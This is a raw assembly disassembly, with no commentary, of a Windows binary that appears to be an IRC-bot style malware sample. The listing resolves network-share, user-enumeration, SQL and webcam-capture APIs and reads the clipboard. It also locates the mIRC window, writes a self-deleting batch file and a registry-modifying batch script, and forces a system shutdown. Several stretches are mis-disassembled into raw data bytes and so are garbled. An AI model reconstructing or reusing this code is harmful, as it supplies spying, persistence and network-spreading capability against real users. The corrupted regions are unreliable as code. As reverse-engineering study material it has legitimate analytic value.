push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_43399C, eax
call esi ; dword_41D0B4
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_433A30, eax
call esi ; dword_41D0B4
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_433B20, eax
call esi ; dword_41D0B4
cmp dword_4339C8, ebx
mov dword_433AD8, eax
jz short loc_407307
cmp dword_4339A0, ebx
jz short loc_407307
cmp dword_433A14, ebx
jz short loc_407307
cmp dword_433A48, ebx
jz short loc_407307
cmp dword_433B58, ebx
jz short loc_407307
cmp dword_433A00, ebx
jz short loc_407307
cmp dword_4339AC, ebx
jz short loc_407307
cmp dword_43399C, ebx
jz short loc_407307
cmp dword_433A30, ebx
jz short loc_407307
cmp dword_433B20, ebx
jz short loc_407307
cmp eax, ebx
jnz short loc_407311
jmp short loc_407307
; ---------------------------------------------------------------------------
loc_4072FC: ; CODE XREF: sub_4068C6+94Bj
call dword_41D06C ; RtlGetLastWin32Error
mov dword_433BC4, eax
loc_407307: ; CODE XREF: sub_4068C6+9E6j
; sub_4068C6+9EEj ...
mov dword_433BC0, 1
loc_407311: ; CODE XREF: sub_4068C6+A32j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; dword_41D0B0
mov edi, eax
cmp edi, ebx
jz short loc_407346
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; dword_41D0B4
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4339F0, eax
call esi ; dword_41D0B4
cmp dword_4339F0, ebx
mov dword_433AC0, eax
jz short loc_407351
cmp eax, ebx
jnz short loc_40735B
jmp short loc_407351
; ---------------------------------------------------------------------------
loc_407346: ; CODE XREF: sub_4068C6+A56j
call dword_41D06C ; RtlGetLastWin32Error
mov dword_433BCC, eax
loc_407351: ; CODE XREF: sub_4068C6+A78j
; sub_4068C6+A7Ej
mov dword_433BC8, 1
loc_40735B: ; CODE XREF: sub_4068C6+A7Cj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; dword_41D0B0
mov edi, eax
cmp edi, ebx
jz short loc_407390
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; dword_41D0B4
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_433B44, eax
call esi ; dword_41D0B4
cmp dword_433B44, ebx
mov dword_433B40, eax
jz short loc_40739B
cmp eax, ebx
jnz short loc_4073A5
jmp short loc_40739B
; ---------------------------------------------------------------------------
loc_407390: ; CODE XREF: sub_4068C6+AA0j
call dword_41D06C ; RtlGetLastWin32Error
mov dword_433BD4, eax
loc_40739B: ; CODE XREF: sub_4068C6+AC2j
; sub_4068C6+AC8j
mov dword_433BD0, 1
loc_4073A5: ; CODE XREF: sub_4068C6+AC6j
push offset aMpr_dll ; "mpr.dll"
call ebp ; dword_41D0B0
mov edi, eax
cmp edi, ebx
jz short loc_407404
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; dword_41D0B4
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_433B70, eax
call esi ; dword_41D0B4
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_433B68, eax
call esi ; dword_41D0B4
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_433B30, eax
call esi ; dword_41D0B4
cmp dword_433B70, ebx
mov dword_433A08, eax
jz short loc_40740F
cmp dword_433B68, ebx
jz short loc_40740F
cmp dword_433B30, ebx
jz short loc_40740F
cmp eax, ebx
jnz short loc_407419
jmp short loc_40740F
; ---------------------------------------------------------------------------
loc_407404: ; CODE XREF: sub_4068C6+AEAj
call dword_41D06C ; RtlGetLastWin32Error
mov dword_433BDC, eax
loc_40740F: ; CODE XREF: sub_4068C6+B26j
; sub_4068C6+B2Ej ...
mov dword_433BD8, 1
loc_407419: ; CODE XREF: sub_4068C6+B3Aj
push offset aShell32_dll ; "shell32.dll"
call ebp ; dword_41D0B0
mov edi, eax
cmp edi, ebx
jz short loc_40744E
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; dword_41D0B4
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_433A3C, eax
call esi ; dword_41D0B4
cmp dword_433A3C, ebx
mov dword_433B3C, eax
jz short loc_407459
cmp eax, ebx
jnz short loc_407463
jmp short loc_407459
; ---------------------------------------------------------------------------
loc_40744E: ; CODE XREF: sub_4068C6+B5Ej
call dword_41D06C ; RtlGetLastWin32Error
mov dword_433BE4, eax
loc_407459: ; CODE XREF: sub_4068C6+B80j
; sub_4068C6+B86j
mov dword_433BE0, 1
loc_407463: ; CODE XREF: sub_4068C6+B84j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; dword_41D0B0
mov edi, eax
cmp edi, ebx
jz short loc_4074EC
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; dword_41D0B4
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_433B04, eax
call esi ; dword_41D0B4
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_433B50, eax
call esi ; dword_41D0B4
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_433A8C, eax
call esi ; dword_41D0B4
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_433A4C, eax
call esi ; dword_41D0B4
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_433AE4, eax
call esi ; dword_41D0B4
cmp dword_433B04, ebx
mov dword_433A58, eax
jz short loc_4074F7
cmp dword_433B50, ebx
jz short loc_4074F7
cmp dword_433A8C, ebx
jz short loc_4074F7
cmp dword_433A4C, ebx
jz short loc_4074F7
cmp dword_433AE4, ebx
jz short loc_4074F7
cmp eax, ebx
jnz short loc_407501
jmp short loc_4074F7
; ---------------------------------------------------------------------------
loc_4074EC: ; CODE XREF: sub_4068C6+BA8j
call dword_41D06C ; RtlGetLastWin32Error
mov dword_433BEC, eax
loc_4074F7: ; CODE XREF: sub_4068C6+BFEj
; sub_4068C6+C06j ...
mov dword_433BE8, 1
loc_407501: ; CODE XREF: sub_4068C6+C22j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; dword_41D0B0
mov edi, eax
cmp edi, ebx
jz short loc_407536
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; dword_41D0B4
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_433A20, eax
call esi ; dword_41D0B4
cmp dword_433A20, ebx
mov dword_433AF8, eax
jz short loc_407541
cmp eax, ebx
jnz short loc_40754B
jmp short loc_407541
; ---------------------------------------------------------------------------
loc_407536: ; CODE XREF: sub_4068C6+C46j
call dword_41D06C ; RtlGetLastWin32Error
mov dword_433BF4, eax
loc_407541: ; CODE XREF: sub_4068C6+C68j
; sub_4068C6+C6Ej
mov dword_433BF0, 1
loc_40754B: ; CODE XREF: sub_4068C6+C6Cj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4068C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407553 proc near ; CODE XREF: .nsp0:0040EFACp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_433B88, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40759B
push dword_433B8C
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
loc_40759B: ; CODE XREF: sub_407553+1Aj
cmp dword_433B90, esi
jz short loc_4075CF
push dword_433B94
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
loc_4075CF: ; CODE XREF: sub_407553+4Ej
cmp dword_433B98, esi
jz short loc_407603
push dword_433B9C
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
loc_407603: ; CODE XREF: sub_407553+82j
cmp dword_433BA0, esi
jz short loc_407637
push dword_433BA4
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
loc_407637: ; CODE XREF: sub_407553+B6j
cmp dword_433BA8, esi
jz short loc_40766B
push dword_433BAC
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
loc_40766B: ; CODE XREF: sub_407553+EAj
cmp dword_433BB0, esi
jz short loc_40769F
push dword_433BB4
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
loc_40769F: ; CODE XREF: sub_407553+11Ej
cmp dword_433BB8, esi
jz short loc_4076D3
push dword_433BBC
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
loc_4076D3: ; CODE XREF: sub_407553+152j
cmp dword_433BC0, esi
jz short loc_407707
push dword_433BC4
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
loc_407707: ; CODE XREF: sub_407553+186j
cmp dword_433BC8, esi
jz short loc_40773B
push dword_433BCC
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
loc_40773B: ; CODE XREF: sub_407553+1BAj
cmp dword_433BD0, esi
jz short loc_40776F
push dword_433BD4
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
loc_40776F: ; CODE XREF: sub_407553+1EEj
cmp dword_433BD8, esi
jz short loc_4077A3
push dword_433BDC
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
loc_4077A3: ; CODE XREF: sub_407553+222j
cmp dword_433BE0, esi
jz short loc_4077D7
push dword_433BE4
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
loc_4077D7: ; CODE XREF: sub_407553+256j
cmp dword_433BE8, esi
jz short loc_40780B
push dword_433BEC
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
loc_40780B: ; CODE XREF: sub_407553+28Aj
cmp dword_433BF0, esi
jz short loc_40783F
push dword_433BF4
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_411EEE
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 20h
loc_40783F: ; CODE XREF: sub_407553+2BEj
lea eax, [ebp+var_200]
push offset dword_42387C
push eax
call sub_411EEE
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40786C
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_40F9F1
add esp, 14h
loc_40786C: ; CODE XREF: sub_407553+302j
lea eax, [ebp+var_200]
push eax
call sub_408E17
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_407553 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40787E proc near ; CODE XREF: .nsp0:0040ACC0p
; .nsp0:0040ACF4p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_407909
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_407909
cmp [ebp+arg_8], esi
jz short loc_407909
cmp byte ptr [eax], 0
jz short loc_407909
push ebx
push edi
call sub_41C64B
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_407904
push [ebp+arg_4]
push edi
call sub_4124C0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4078FD
sub eax, edi
push eax
push edi
push ebx
call sub_413710
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_4126F0
push eax
push [ebp+arg_8]
push ebx
call sub_4138E0
push [ebp+arg_4]
call sub_4126F0
add eax, esi
push eax
push ebx
call sub_412610
push ebx
push edi
call sub_412600
add esp, 30h
mov esi, edi
loc_4078FD: ; CODE XREF: sub_40787E+3Cj
push ebx
call sub_412813
pop ecx
loc_407904: ; CODE XREF: sub_40787E+2Bj
mov eax, esi
pop ebx
jmp short loc_40790B
; ---------------------------------------------------------------------------
loc_407909: ; CODE XREF: sub_40787E+Cj
; sub_40787E+13j ...
xor eax, eax
loc_40790B: ; CODE XREF: sub_40787E+89j
pop edi
pop esi
pop ebp
retn
sub_40787E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40790F proc near ; CODE XREF: sub_40A1C1+E9p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_411F70
mov esi, [ebp+arg_0]
push esi
call sub_4126F0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_407945
or eax, 0FFFFFFFFh
jmp short loc_4079B8
; ---------------------------------------------------------------------------
loc_407945: ; CODE XREF: sub_40790F+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_407967
loc_407951: ; CODE XREF: sub_40790F+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_40795E
cmp dl, 0Dh
jnz short loc_407962
loc_40795E: ; CODE XREF: sub_40790F+48j
and byte ptr [ecx+esi], 0
loc_407962: ; CODE XREF: sub_40790F+4Dj
inc ecx
cmp ecx, eax
jl short loc_407951
loc_407967: ; CODE XREF: sub_40790F+40j
xor edx, edx
push edi
test eax, eax
jle short loc_407998
lea edi, [ebp+var_7CC]
loc_407974: ; CODE XREF: sub_40790F+87j
cmp byte ptr [edx+esi], 0
jnz short loc_407993
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_407993
cmp ebx, 1F4h
jge short loc_407998
mov [edi], ecx
inc ebx
add edi, 4
loc_407993: ; CODE XREF: sub_40790F+69j
; sub_40790F+74j
inc edx
cmp edx, eax
jl short loc_407974
loc_407998: ; CODE XREF: sub_40790F+5Dj
; sub_40790F+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_4079B6
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_411FD0
add esp, 0Ch
loc_4079B6: ; CODE XREF: sub_40790F+8Ej
mov eax, ebx
loc_4079B8: ; CODE XREF: sub_40790F+34j
pop esi
pop ebx
leave
retn
sub_40790F endp
; =============== S U B R O U T I N E =======================================
sub_4079BC proc near ; CODE XREF: sub_407A16+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_4079F5
push ebx
mov ebx, edi
loc_4079D9: ; CODE XREF: sub_4079BC+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_4079F8
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_4079D9
pop ebx
loc_4079F5: ; CODE XREF: sub_4079BC+18j
pop edi
pop esi
retn
sub_4079BC endp
; =============== S U B R O U T I N E =======================================
sub_4079F8 proc near ; CODE XREF: sub_4079BC+25p
; sub_407A16+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_413A37
cmp al, 61h
pop ecx
jl short loc_407A13
cmp al, 7Ah
jg short loc_407A13
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_407A13: ; CODE XREF: sub_4079F8+Ej
; sub_4079F8+12j
xor eax, eax
retn
sub_4079F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407A16 proc near ; CODE XREF: sub_408EF7+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_412770
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_4126F0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_4126F0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_4079BC
add esp, 14h
dec esi
mov edi, esi
loc_407A54: ; CODE XREF: sub_407A16+B6j
test esi, esi
jle short loc_407AD2
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_413A37
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_413A37
pop ecx
cmp eax, ebx
pop ecx
jz short loc_407ACA
loc_407A7A: ; CODE XREF: sub_407A16+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_4079F8
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_407A9B
mov eax, ecx
loc_407A9B: ; CODE XREF: sub_407A16+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_407ACE
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_413A37
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_413A37
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_407A7A
loc_407ACA: ; CODE XREF: sub_407A16+62j
dec edi
dec esi
jmp short loc_407A54
; ---------------------------------------------------------------------------
loc_407ACE: ; CODE XREF: sub_407A16+8Aj
xor eax, eax
jmp short loc_407AD7
; ---------------------------------------------------------------------------
loc_407AD2: ; CODE XREF: sub_407A16+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_407AD7: ; CODE XREF: sub_407A16+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_407A16 endp
; ---------------------------------------------------------------------------
loc_407ADC: ; CODE XREF: .nsp0:0040DA71p
; .nsp0:0040E4C6p
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_41D06C ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp-100h]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call near ptr 0AB0000h
mov ds:0FF00858Dh, al
; ---------------------------------------------------------------------------
db 0FFh
dd 80088AFFh, 57F1FF9h, 7509F980h, 0F1EB4003h, 48002080h
dd 0FF008D8Dh, 0C13BFFFFh, 88A0C72h, 742EF980h, 21F980EBh
dd 858DE67Ch, 0FFFFFF00h, 0F8BE5056h, 0FF00433Bh, 1C680875h
dd 6800423Ah, 200h, 0A90CE856h, 0C4830000h, 5EC68B18h
; ---------------------------------------------------------------------------
leave
retn
; =============== S U B R O U T I N E =======================================
sub_407B66 proc near ; CODE XREF: .nsp0:0040EF38p
push esi
push 0
call dword_433A98 ; OpenClipboard
test eax, eax
jz short loc_407B9D
push 1
call dword_433AB8 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_407B9D
push edi
push esi
call dword_41D0C4 ; GlobalLock
push esi
mov edi, eax
call dword_41D0C0 ; GlobalUnlock
call dword_433B1C ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_407B9D: ; CODE XREF: sub_407B66+Bj
; sub_407B66+19j
xor eax, eax
pop esi
retn
sub_407B66 endp
; ---------------------------------------------------------------------------
loc_407BA1: ; CODE XREF: .nsp0:0040E475p
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call dword_433AD4 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_407C1D
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call near ptr 0AB0000h
sahf
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call near ptr 0AB0000h
; ---------------------------------------------------------------------------
dd 2474FF8Ch, 53D88B14h, 0A305E8h, 56595900h, 0C868016Ah
dd 55000004h, 3B2415FFh, 6A560043h, 4C96801h, 0FF550000h
dd 433B2415h, 0F1E85300h, 50006A83h, 7415FF57h, 6A0041D0h
dd 0EB5B5801h
db 2
; ---------------------------------------------------------------------------
loc_407C1D: ; CODE XREF: .nsp0:00407BB7j
xor eax, eax
pop edi
pop esi
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407C23 proc near ; CODE XREF: .nsp0:00409D0Dp
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_433B84 ; SearchPathA
test eax, eax
jz short loc_407CC2
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_41D07C
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; dword_41D07C
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_407CC2
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call near ptr 0AB0000h
ficom word ptr [ebx-75h]
sbb eax, offset dword_41D074
call ebx ; send
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; dword_41D07C
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_407CC2
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call near ptr 0AB0000h
in eax, 56h
call ebx ; send
loc_407CC2: ; CODE XREF: sub_407C23+2Aj
; sub_407C23+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_407C23 endp
; =============== S U B R O U T I N E =======================================
sub_407CC7 proc near ; CODE XREF: .nsp0:0040B3C2p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_410A0C
pop ecx
pop ecx
push 50005h
push 6
call dword_433A10 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_407CC7 endp
; ---------------------------------------------------------------------------
loc_407CE9: ; CODE XREF: .nsp0:0040F199p
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_425B68, esi
push edi
jz short loc_407D0D
cmp dword_433B98, esi
jnz short loc_407D0D
push esi
call sub_409026
pop ecx
loc_407D0D: ; CODE XREF: .nsp0:00407CFCj
; .nsp0:00407D04j
call sub_411B63
lea eax, [ebp-764h]
push eax
push 400h
call near ptr 0AB0000h
inc ecx
lea eax, [ebp-764h]
push eax
lea eax, [ebp-260h]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_411EEE
add esp, 0Ch
lea eax, [ebp-260h]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_41D07C ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_407E6D
lea eax, [ebp-260h]
push eax
lea eax, [ebp-764h]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_411EEE
add esp, 0Ch
lea eax, [ebp-4]
push esi
push eax
lea eax, [ebp-764h]
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp-764h]
push eax
push edi
call near ptr 0AB0000h
leave
push edi
call dword_41D074 ; CloseHandle
push 10h
lea eax, [ebp-14h]
push esi
push eax
call sub_411F70
push 44h
lea eax, [ebp-58h]
pop edi
push edi
push esi
push eax
call sub_411F70
add esp, 18h
mov [ebp-58h], edi
mov edi, 104h
lea eax, [ebp-15Ch]
push edi
push eax
push esi
mov dword ptr [ebp-4Ch], offset byte_432708
mov dword ptr [ebp-2Ch], 1
mov [ebp-28h], si
call near ptr 0AB0000h
mov ch, 50h
call near ptr 0AB0000h
mov ebx, 0FEA4858Dh
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 50h
dd 0D08015FFh, 0F8830041h, 8D1274FFh, 0FFFEA485h, 8068FFh
dd 0E8500000h, 6A81ECh, 0A4858D5Ch, 50FFFFFEh, 0FDA0858Dh
dd 8D50FFFFh, 0FFF89C85h, 3A5C68FFh, 0E8500042h, 0A0BAh
dd 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h, 0B5E850FFh
dd 14006A81h, 50EC458Dh, 50A8458Dh, 8685656h, 6A000040h
dd 858D5601h, 0FFFFFC9Ch, 0E8565056h, 6A8194h
db 86h
; ---------------------------------------------------------------------------
loc_407E6D: ; CODE XREF: .nsp0:00407D5Bj
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407E71 proc near ; CODE XREF: .nsp0:00409B22p
var_1860 = byte ptr -1860h
var_158 = byte ptr -158h
var_58 = byte ptr -58h
var_48 = dword ptr -48h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 1860h
call sub_412770
push esi
push edi
mov ecx, 5C1h
mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
lea edi, [ebp+var_1860]
lea eax, [ebp+var_158]
rep movsd
movsw
push offset aCTempr_bat ; "c:\\tempr.bat"
push eax
movsb
call sub_411EEE
pop ecx
xor esi, esi
pop ecx
lea eax, [ebp+var_158]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_41D07C ; CreateFileA
mov edi, eax
cmp edi, esi
jbe short near ptr loc_407F2A+1
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_1860]
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp+var_1860]
push eax
push edi
call near ptr 0AB0000h
fcom qword ptr [edi-1]
adc eax, offset dword_41D074
push 44h
lea eax, [ebp+var_48]
pop edi
push edi
push esi
push eax
call sub_411F70
add esp, 0Ch
lea ecx, [ebp+var_58]
mov [ebp+var_48], edi
mov [ebp+var_18], si
push 1
pop eax
push ecx
lea ecx, [ebp+var_48]
push ecx
push esi
push esi
push 28h
mov [ebp+var_1C], eax
push eax
push esi
lea eax, [ebp+var_158]
push esi
push eax
push esi
call near ptr 0AB0000h
loc_407F2A: ; CODE XREF: sub_407E71+55j
jb short near ptr loc_407F86+5
pop esi
leave
retn
sub_407E71 endp
; =============== S U B R O U T I N E =======================================
sub_407F2F proc near ; CODE XREF: sub_4013E9+7p
; sub_401B7C+7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_433B08 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_407F57
push [esp+arg_0]
call dword_433B4C ; gethostbyname
test eax, eax
jnz short loc_407F50
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_407F50: ; CODE XREF: sub_407F2F+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_407F57: ; CODE XREF: sub_407F2F+Dj
retn
sub_407F2F endp
; =============== S U B R O U T I N E =======================================
sub_407F58 proc near ; CODE XREF: sub_40A059+D6p
mov ecx, dword_4339F0
xor eax, eax
test ecx, ecx
jz short locret_407F66
call ecx ; dword_4339F0
locret_407F66: ; CODE XREF: sub_407F58+Aj
retn
sub_407F58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
